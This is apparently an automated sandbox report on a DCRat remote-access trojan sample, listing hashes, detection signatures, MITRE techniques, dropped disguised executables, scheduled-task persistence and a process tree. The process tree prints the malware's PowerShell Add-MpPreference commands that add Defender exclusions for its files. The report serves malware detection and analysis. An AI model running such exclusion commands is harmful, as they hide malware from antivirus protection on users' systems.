dcrat | 378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
22/12/2024, 00:09 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe
Size

1.3MB
MD5

c3ba84140293fdda1fb10daf5917b62a
SHA1

87fabc4b610a468193bb33a4cf5d50e4c18986e7
SHA256

378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1
SHA512

a1cb90e920bdf0049942ec8ac027389d57d67d51c0c0c89100df0111df074f81139e59e432e315cc7ca1ad4f3c24f2354e78d419b10c68de26d7f7558ca2a7ed
SSDEEP

24576:U2G/nvxW3Ww0t6TnzGmVBDh4+aknuRRZJND0gFJ4rD/IjC:UbA30GnzV/q+DnsXg

Score

10^/10

dcrat discovery execution infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 60 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3048	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2876	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2740	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1156	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2044	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1404	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1736	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2508	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1648	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2444	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	912	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2248	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	856	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1936	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1916	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2920	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2084	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2416	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1704	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2388	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2604	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	652	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3004	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2940	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2796	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2724	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2968	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2812	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1816	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1712	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1456	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	676	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	556	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	852	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1452	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2820	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2948	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2868	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2588	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1572	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2348	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1732	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1348	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1700	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2028	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	2972	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1180	2972	schtasks.exe	35

DCRat payload 11 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x00070000000186ed-10.dat	dcrat
behavioral1/memory/2300-13-0x0000000000980000-0x0000000000A90000-memory.dmp	dcrat
behavioral1/memory/1044-58-0x0000000000C70000-0x0000000000D80000-memory.dmp	dcrat
behavioral1/memory/2248-133-0x00000000008B0000-0x00000000009C0000-memory.dmp	dcrat
behavioral1/memory/2392-248-0x0000000000ED0000-0x0000000000FE0000-memory.dmp	dcrat
behavioral1/memory/2760-369-0x0000000000010000-0x0000000000120000-memory.dmp	dcrat
behavioral1/memory/2028-429-0x0000000000B70000-0x0000000000C80000-memory.dmp	dcrat
behavioral1/memory/2272-489-0x0000000000BA0000-0x0000000000CB0000-memory.dmp	dcrat
behavioral1/memory/2216-549-0x0000000001300000-0x0000000001410000-memory.dmp	dcrat
behavioral1/memory/2516-670-0x0000000000340000-0x0000000000450000-memory.dmp	dcrat
behavioral1/memory/1424-730-0x00000000002C0000-0x00000000003D0000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2992	powershell.exe
2236	powershell.exe
2132	powershell.exe
1236	powershell.exe
1764	powershell.exe
2252	powershell.exe
1668	powershell.exe
2040	powershell.exe
2116	powershell.exe
1092	powershell.exe
1696	powershell.exe
2308	powershell.exe
2028	powershell.exe
1672	powershell.exe
2456	powershell.exe
1616	powershell.exe
1628	powershell.exe
1488	powershell.exe
2108	powershell.exe
2344	powershell.exe
1756	powershell.exe
448	powershell.exe

Executes dropped EXE 12 IoCs

pid	Process
2300	DllCommonsvc.exe
1044	DllCommonsvc.exe
2248	WMIADAP.exe
2392	WMIADAP.exe
2104	WMIADAP.exe
2760	WMIADAP.exe
2028	WMIADAP.exe
2272	WMIADAP.exe
2216	WMIADAP.exe
1608	WMIADAP.exe
2516	WMIADAP.exe
1424	WMIADAP.exe

Loads dropped DLL 2 IoCs

pid	Process
2544	cmd.exe
2544	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs

Web Service

T1102

flow	ioc
29	raw.githubusercontent.com
36	raw.githubusercontent.com
4	raw.githubusercontent.com
5	raw.githubusercontent.com
9	raw.githubusercontent.com
12	raw.githubusercontent.com
26	raw.githubusercontent.com
16	raw.githubusercontent.com
20	raw.githubusercontent.com
23	raw.githubusercontent.com
33	raw.githubusercontent.com

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft Games\Hearts\en-US\WMIADAP.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\886983d96e3d3e	DllCommonsvc.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\WMIADAP.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\75a57c1bdf437c	DllCommonsvc.exe
File opened for modification	C:\Program Files\Common Files\Services\WmiPrvSE.exe	DllCommonsvc.exe
File created	C:\Program Files\Common Files\Services\24dbde2999530e	DllCommonsvc.exe
File created	C:\Program Files\Microsoft Games\Hearts\en-US\75a57c1bdf437c	DllCommonsvc.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Esl\spoolsv.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Esl\f3b6ecef712a24	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\csrss.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\75a57c1bdf437c	DllCommonsvc.exe
File created	C:\Program Files\Common Files\Services\WmiPrvSE.exe	DllCommonsvc.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\IME\it-IT\lsm.exe	DllCommonsvc.exe
File opened for modification	C:\Windows\IME\it-IT\lsm.exe	DllCommonsvc.exe
File created	C:\Windows\IME\it-IT\101b941d020240	DllCommonsvc.exe
File created	C:\Windows\security\audit\lsm.exe	DllCommonsvc.exe
File created	C:\Windows\security\audit\101b941d020240	DllCommonsvc.exe
File created	C:\Windows\TAPI\lsass.exe	DllCommonsvc.exe
File created	C:\Windows\TAPI\6203df4a6bafc7	DllCommonsvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 60 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1872	schtasks.exe
1704	schtasks.exe
2820	schtasks.exe
2868	schtasks.exe
1572	schtasks.exe
3048	schtasks.exe
1156	schtasks.exe
2968	schtasks.exe
1456	schtasks.exe
3004	schtasks.exe
2940	schtasks.exe
2920	schtasks.exe
2224	schtasks.exe
2588	schtasks.exe
2296	schtasks.exe
1736	schtasks.exe
912	schtasks.exe
1936	schtasks.exe
2876	schtasks.exe
2444	schtasks.exe
2732	schtasks.exe
676	schtasks.exe
2220	schtasks.exe
2224	schtasks.exe
2084	schtasks.exe
2732	schtasks.exe
1780	schtasks.exe
2388	schtasks.exe
652	schtasks.exe
2724	schtasks.exe
556	schtasks.exe
2700	schtasks.exe
2752	schtasks.exe
2348	schtasks.exe
1732	schtasks.exe
852	schtasks.exe
1452	schtasks.exe
1816	schtasks.exe
1180	schtasks.exe
2508	schtasks.exe
2248	schtasks.exe
2028	schtasks.exe
2812	schtasks.exe
1700	schtasks.exe
2232	schtasks.exe
1348	schtasks.exe
1956	schtasks.exe
2740	schtasks.exe
1916	schtasks.exe
1712	schtasks.exe
2756	schtasks.exe
2044	schtasks.exe
1684	schtasks.exe
1648	schtasks.exe
2948	schtasks.exe
1404	schtasks.exe
2604	schtasks.exe
856	schtasks.exe
2416	schtasks.exe
2796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

pid	Process
2300	DllCommonsvc.exe
2300	DllCommonsvc.exe
2300	DllCommonsvc.exe
2300	DllCommonsvc.exe
2300	DllCommonsvc.exe
2300	DllCommonsvc.exe
2300	DllCommonsvc.exe
2116	powershell.exe
2028	powershell.exe
1672	powershell.exe
2040	powershell.exe
1668	powershell.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
1044	DllCommonsvc.exe
2456	powershell.exe
2236	powershell.exe
1488	powershell.exe
1092	powershell.exe
1764	powershell.exe
1628	powershell.exe
2308	powershell.exe
2252	powershell.exe
2344	powershell.exe
2992	powershell.exe
448	powershell.exe
2132	powershell.exe
1616	powershell.exe
1756	powershell.exe
2108	powershell.exe
1696	powershell.exe
1236	powershell.exe
2248	WMIADAP.exe
2392	WMIADAP.exe
2104	WMIADAP.exe
2760	WMIADAP.exe
2028	WMIADAP.exe
2272	WMIADAP.exe
2216	WMIADAP.exe
1608	WMIADAP.exe
2516	WMIADAP.exe
1424	WMIADAP.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	DllCommonsvc.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1044	DllCommonsvc.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	2248	WMIADAP.exe
Token: SeDebugPrivilege	2392	WMIADAP.exe
Token: SeDebugPrivilege	2104	WMIADAP.exe
Token: SeDebugPrivilege	2760	WMIADAP.exe
Token: SeDebugPrivilege	2028	WMIADAP.exe
Token: SeDebugPrivilege	2272	WMIADAP.exe
Token: SeDebugPrivilege	2216	WMIADAP.exe
Token: SeDebugPrivilege	1608	WMIADAP.exe
Token: SeDebugPrivilege	2516	WMIADAP.exe
Token: SeDebugPrivilege	1424	WMIADAP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 2420	2396	JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe	30
PID 2396 wrote to memory of 2420	2396	JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe	30
PID 2396 wrote to memory of 2420	2396	JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe	30
PID 2396 wrote to memory of 2420	2396	JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe	30
PID 2420 wrote to memory of 2544	2420	WScript.exe	32
PID 2420 wrote to memory of 2544	2420	WScript.exe	32
PID 2420 wrote to memory of 2544	2420	WScript.exe	32
PID 2420 wrote to memory of 2544	2420	WScript.exe	32
PID 2544 wrote to memory of 2300	2544	cmd.exe	34
PID 2544 wrote to memory of 2300	2544	cmd.exe	34
PID 2544 wrote to memory of 2300	2544	cmd.exe	34
PID 2544 wrote to memory of 2300	2544	cmd.exe	34
PID 2300 wrote to memory of 1668	2300	DllCommonsvc.exe	48
PID 2300 wrote to memory of 1668	2300	DllCommonsvc.exe	48
PID 2300 wrote to memory of 1668	2300	DllCommonsvc.exe	48
PID 2300 wrote to memory of 2028	2300	DllCommonsvc.exe	49
PID 2300 wrote to memory of 2028	2300	DllCommonsvc.exe	49
PID 2300 wrote to memory of 2028	2300	DllCommonsvc.exe	49
PID 2300 wrote to memory of 2116	2300	DllCommonsvc.exe	50
PID 2300 wrote to memory of 2116	2300	DllCommonsvc.exe	50
PID 2300 wrote to memory of 2116	2300	DllCommonsvc.exe	50
PID 2300 wrote to memory of 1672	2300	DllCommonsvc.exe	51
PID 2300 wrote to memory of 1672	2300	DllCommonsvc.exe	51
PID 2300 wrote to memory of 1672	2300	DllCommonsvc.exe	51
PID 2300 wrote to memory of 2040	2300	DllCommonsvc.exe	53
PID 2300 wrote to memory of 2040	2300	DllCommonsvc.exe	53
PID 2300 wrote to memory of 2040	2300	DllCommonsvc.exe	53
PID 2300 wrote to memory of 1424	2300	DllCommonsvc.exe	58
PID 2300 wrote to memory of 1424	2300	DllCommonsvc.exe	58
PID 2300 wrote to memory of 1424	2300	DllCommonsvc.exe	58
PID 1424 wrote to memory of 448	1424	cmd.exe	60
PID 1424 wrote to memory of 448	1424	cmd.exe	60
PID 1424 wrote to memory of 448	1424	cmd.exe	60
PID 1424 wrote to memory of 1044	1424	cmd.exe	61
PID 1424 wrote to memory of 1044	1424	cmd.exe	61
PID 1424 wrote to memory of 1044	1424	cmd.exe	61
PID 1044 wrote to memory of 2456	1044	DllCommonsvc.exe	110
PID 1044 wrote to memory of 2456	1044	DllCommonsvc.exe	110
PID 1044 wrote to memory of 2456	1044	DllCommonsvc.exe	110
PID 1044 wrote to memory of 1092	1044	DllCommonsvc.exe	111
PID 1044 wrote to memory of 1092	1044	DllCommonsvc.exe	111
PID 1044 wrote to memory of 1092	1044	DllCommonsvc.exe	111
PID 1044 wrote to memory of 1488	1044	DllCommonsvc.exe	112
PID 1044 wrote to memory of 1488	1044	DllCommonsvc.exe	112
PID 1044 wrote to memory of 1488	1044	DllCommonsvc.exe	112
PID 1044 wrote to memory of 1616	1044	DllCommonsvc.exe	114
PID 1044 wrote to memory of 1616	1044	DllCommonsvc.exe	114
PID 1044 wrote to memory of 1616	1044	DllCommonsvc.exe	114
PID 1044 wrote to memory of 2108	1044	DllCommonsvc.exe	115
PID 1044 wrote to memory of 2108	1044	DllCommonsvc.exe	115
PID 1044 wrote to memory of 2108	1044	DllCommonsvc.exe	115
PID 1044 wrote to memory of 1628	1044	DllCommonsvc.exe	116
PID 1044 wrote to memory of 1628	1044	DllCommonsvc.exe	116
PID 1044 wrote to memory of 1628	1044	DllCommonsvc.exe	116
PID 1044 wrote to memory of 2992	1044	DllCommonsvc.exe	120
PID 1044 wrote to memory of 2992	1044	DllCommonsvc.exe	120
PID 1044 wrote to memory of 2992	1044	DllCommonsvc.exe	120
PID 1044 wrote to memory of 2236	1044	DllCommonsvc.exe	121
PID 1044 wrote to memory of 2236	1044	DllCommonsvc.exe	121
PID 1044 wrote to memory of 2236	1044	DllCommonsvc.exe	121
PID 1044 wrote to memory of 2308	1044	DllCommonsvc.exe	122
PID 1044 wrote to memory of 2308	1044	DllCommonsvc.exe	122
PID 1044 wrote to memory of 2308	1044	DllCommonsvc.exe	122
PID 1044 wrote to memory of 1696	1044	DllCommonsvc.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_378d3639a52618321da8d5bfa08217df200b0170c768495bb22b5003b87769d1.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\providercommon\yTUdeXjbLOhnrN32dgrxVg.vbe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\providercommon\1zu9dW.bat" "
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\providercommon\DllCommonsvc.exe
      "C:\providercommon\DllCommonsvc.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2300
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Services\WmiPrvSE.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\WmiPrvSE.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1672
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\audiodg.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2040
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\rIEDWWiqNE.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1424
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:448
      - C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\IME\it-IT\lsm.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\smss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\security\audit\lsm.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads\services.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\csrss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\csrss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft Games\Hearts\en-US\WMIADAP.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\spoolsv.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\lsass.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
